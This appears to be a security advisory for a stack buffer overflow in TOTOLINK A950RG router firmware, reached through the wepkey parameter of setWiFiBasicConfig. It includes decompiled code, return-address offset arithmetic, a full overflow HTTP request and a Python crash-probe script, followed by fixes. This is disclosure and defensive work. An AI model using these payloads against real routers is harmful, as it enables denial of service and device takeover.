| Field | Value |
|---|---|
| Vendor | TOTOLINK |
| Product | A950RG (AC1200 Dual-Band Gigabit Router, C8188R / IP04308 platform) |
| Affected Version | Firmware V4.1.2cu.5268_B20221104 |
| Firmware File | TOTOLINK_A950RG_V4.1.2cu.5268_B20221104.web |
| Vulnerability Type | Stack-based Buffer Overflow (CWE-121) |
| Component | lib/cste_modules/wireless.so — setWiFiBasicConfig @ 0xB4AC |
| Vulnerable Parameter(s) | wepkey (with addEffect non-zero to enter the block) |
| Attack Vector | Network (LAN / management interface) |
| Severity | High |
| CVSS v3.1 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) — post-authentication, but pre-authentication when combined with A950RG-INFO-01; the target is non-PIE and has no stack protection |
| Submitter | LiuYijun@State Grid Jiangxi Electric Power Co., Ltd. Information and Communication Branch |
The basic wireless configuration handler of the TOTOLINK A950RG copies a request parameter into a 68-byte stack buffer without checking its length. The handler is entered by posting to setting/setWiFiBasicConfig with a non-zero addEffect value, which selects the write branch; the wireless parameters are then read with websGetVar, which returns a pointer into the parsed JSON body with no length limit and no character filtering. The WEP key is read into s_3 at 0xB8A4 and is then either converted to hexadecimal or, when the key-format flag is not set, copied with strcpy(dest, s_3) at 0xBF6C. dest is a 68-byte local at [sp+0x144] and the handler frame is 440 bytes with the saved return address at [sp+0x1B4], so a wepkey value of 113 bytes or more overwrites the saved return address. The preceding memset(dest, 0, 32) clears only the first 32 bytes and does not bound the copy in any way. The buffer is destined for apmib_set(25, ...) as the WEP key, so a value longer than the buffer is not merely malformed input — it is the value the code is about to write into the wireless configuration. The target is a non-PIE MIPS32 shared object built without stack protection, and the firmware runs without ASLR, so a payload that reaches the saved return address can be aimed at a fixed address. The handler requires a session token, which A950RG-INFO-01 discloses without authentication, so the effective privilege requirement is none while an administrator is logged in.
- Firmware version string:
C8188R/V4.1.2cu/ SVN 5268 (etc/product.ini); architecture MIPS32 little-endian, uClibc 0.9.33, non-PIE (image base0x400000), Realtek RTL8197F, 8 MB flash / 64 MB DDR2. - Route:
setting/setWiFiBasicConfig, sent as thetopicurlmember of the JSON body ofPOST /cgi-bin/cstecgi.cgi. - Handler:
setWiFiBasicConfig@ 0xB4AC inlib/cste_modules/wireless.so. - Branch selector:
nptr_7 = websGetVar(a2, "addEffect", "0")@ 0xB58C; a non-zero value enters the block that contains the copy. - Parameter read:
s_3 = websGetVar(a2, "wepkey", "")@ 0xB8A4.websGetVar(libcstelib.so@ 0x81CC) imposes no length or character validation. - Sink:
strcpy(dest, s_3)@ 0xBF6C, in theelsebranch of the key-format test; theifbranch callsstring_to_hex(s_3, dest, v26)@ 0xBF58 with the unchecked lengthv26 = strlen(s_3)@ 0xBEAC, which is unbounded in the same way. - Destination:
char dest[68]at[sp+0x144]; the precedingmemset(dest, 0, 32)@ 0xBEB0 clears only 32 bytes. - Frame (measured from the disassembly): total size
0x1B8; saved$raat[sp+0x1B4]. Offset fromdestto$ra=0x1B4 - 0x144=0x70= 112 bytes, so awepkeyvalue of 113 bytes overwrites$ra. - Locals overwritten on the way:
v76,v75,v74,s_5,v72,v71,v70,s_4,v68,v67,v66,s_7,v64,v63,v62,s_6,v60,wlan1,v58,v57,v56,n2_1,n2_3,n2_2,n2_4,v51,n13,n15,n3,v47,n2,v45,v44,v43,v42,v41,n2_5, and the saved pointerssrcandv79at[sp+0x188]and[sp+0x18C]. - Downstream use: the same buffer is passed to
apmib_set(25, ...)as the WEP key, so the overflow also corrupts the value the handler is about to commit. - Request allowance:
lighttpd.confserver.max-request-size = 30720, so the parameter can be roughly 260 times the distance to$ra. - Mitigations absent: no stack canary, no PIE, no ASLR.
- Authentication: not on the whitelist at 0x4026A8, so a token is required; that token is disclosed without authentication by A950RG-INFO-01.
- Note on the emulation: the handler lives in
wireless.soand is invoked bybin/cste_sub, which does notdlopenany module in the chroot environment, so the HTTP route returns{"error":"Unknow Topic"}instead of executing the copy. The frame layout and the unbounded copy come from the decompilation and the disassembled prologue; the method was validated against A950RG-OVF-01, which was reproduced dynamically at the predicted offset.
/* lib/cste_modules/wireless.so — setWiFiBasicConfig @0xB4AC */
int __fastcall setWiFiBasicConfig(int a1, int a2, int a3)
{
char s[128]; /* [sp+0x20] */
char dest[68]; /* [sp+0x144] target, 68 bytes */
/* frame size 0x1B8 ; saved $ra at [sp+0x1B4] (112 bytes from dest) */
Var = websGetVar(a2, "wifiIdx", "0"); /* 0xB52C */
nptr_7 = websGetVar(a2, "addEffect", "0"); /* 0xB58C branch select */
...
s_3 = websGetVar(a2, "wepkey", ""); /* 0xB8A4 NO LENGTH */
...
n2_3 = 0;
v26 = strlen(s_3); /* 0xBEAC unbounded */
memset(dest, 0, 32); /* 0xBEB0 clears 32 only*/
...
if ( v41 == 1 )
string_to_hex(s_3, dest, v26); /* 0xBF58 also unbounded*/
else
strcpy(dest, s_3); /* 0xBF6C OVERFLOW */
apmib_set(3, &n2_2); /* 0xBF80 */
apmib_set(25, &n2_4); /* 0xBF94 */
}
/* Exploit arithmetic (non-PIE, no canary, ASLR disabled):
wepkey[0 .. 111] filler 'A' -> fills dest and the frame
wepkey[112 .. 115] controlled word -> overwrites saved $ra
wepkey[116 .. ] further data -> ROP chain
*/Standard HTTP request:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Type: text/plain
Content-Length: 381
Connection: close
{"topicurl":"setting/setWiFiBasicConfig","wifiIdx":"0","addEffect":"1","authMode":"OPEN","encrypType":"WEP64","keyFormat":"0","wepkey":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA","token":"0123456789abcdef0123456789abcdef"}The body is transmitted in full and the Content-Length value above is its exact byte length.
keyFormat must be a value other than 1 so that the strcpy branch is taken; with keyFormat=1 the string_to_hex branch is reached and is unbounded for the same reason.
Boundary probe by bisection — values below 113 bytes leave $ra intact, values of 113 bytes and above replace it, and the CGI process terminates with SIGSEGV:
python3 - <<'PY'
import json, urllib.request
for n in (100, 112, 113, 200, 4096):
body = json.dumps({'topicurl':'setting/setWiFiBasicConfig','wifiIdx':'0',
'addEffect':'1','authMode':'OPEN','encrypType':'WEP64',
'keyFormat':'0','wepkey':'A'*n,
'token':'<TOKEN>'}).encode()
r = urllib.request.Request('http://192.168.0.1/cgi-bin/cstecgi.cgi',
data=body, headers={'Content-Type':'text/plain'})
try:
print(n, urllib.request.urlopen(r, timeout=5).status)
except Exception as e:
print(n, 'dropped ->', e)
PYThe wepkey value must be validated before it is used. A WEP key has a well-defined length — 5 or 13 ASCII characters, or 10 or 26 hexadecimal characters — so the parameter should be rejected unless it matches that character set and one of those lengths, and the same check should be applied to the wpakey parameter that follows it. The copy at 0xBF6C should be replaced by snprintf(dest, sizeof(dest), "%s", s_3), and the string_to_hex call at 0xBF58 must be given the capacity of dest rather than the unchecked strlen(s_3), so that the converter cannot write past its output buffer. The memset(dest, 0, 32) should be memset(dest, 0, sizeof(dest)) so that the initialisation matches the buffer. Because the destination is committed to the wireless MIB immediately afterwards, the handler should also verify that the value it is about to store is a valid key rather than merely a bounded string. The firmware should be rebuilt with -fstack-protector-strong and as a PIE binary.